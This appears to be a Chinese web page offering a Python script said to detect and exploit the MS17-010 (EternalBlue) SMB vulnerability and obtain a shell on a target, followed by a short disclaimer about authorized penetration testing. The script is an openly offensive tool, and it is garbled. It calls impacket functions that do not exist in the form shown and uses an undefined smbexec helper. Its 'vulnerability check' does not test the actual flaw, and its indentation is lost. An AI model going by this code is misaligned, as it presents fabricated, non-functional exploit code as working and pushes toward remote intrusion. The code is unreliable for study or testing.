ms17-010自动化代码
时间: 2023-08-08 13:10:33 浏览: 164
AutoBlue-MS17-010:这是半自动的,完全正常工作,no-bs,非metasploit版本的MS17-010公共漏洞利用代码
以下是一个示例的Python脚本,用于自动化检测和利用MS17-010漏洞(永恒之蓝):
```python
#!/usr/bin/env python
import sys
from impacket import smb
from impacket import uuid
from impacket import version
if len(sys.argv) < 2:
print("Usage: {} <target>".format(sys.argv[0]))
sys.exit(1)
target = sys.argv[1]
port = 445
# 构建SMB连接
stringbinding = r'ncacn_np:{}[\pipe\svcctl]'.format(target)
rpctransport = smb.transport.DCERPCTransportFactory(stringbinding)
rpctransport.set_dport(port)
rpctransport.setRemoteHost(target)
# 连接SMB服务
try:
rpctransport.connect()
except smb.SessionError as e:
print("Failed to connect to {}: {}".format(target, e))
sys.exit(1)
print("Connected to {} successfully".format(target))
# 检测是否受漏洞影响
try:
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))
# 检测漏洞
resp = smb.mgmt.MgmtRequest()
resp['InParameters']['Level'] = 102
dce.call(resp)
if resp['OutParameters']['ErrorCode'] == 0:
print("Target {} is likely vulnerable to MS17-010".format(target))
else:
print("Target {} is not vulnerable to MS17-010".format(target))
dce.disconnect()
except smb.SessionError as e:
print("Failed to detect vulnerability on {}: {}".format(target, e))
# 利用漏洞获取Shell
try:
shell = smbexec(target, rpctransport)
shell.run("whoami")
except Exception as e:
print("Failed to exploit vulnerability on {}: {}".format(target, e))
# 清理连接
rpctransport.disconnect()
```
请注意,这只是一个示例代码,用于说明自动化检测和利用MS17-010漏洞的原理。在实际使用时,需要根据具体情况进行修改和定制。同时,务必遵守法律法规和伦理准则,仅在授权的环境中进行渗透测试。
阅读全文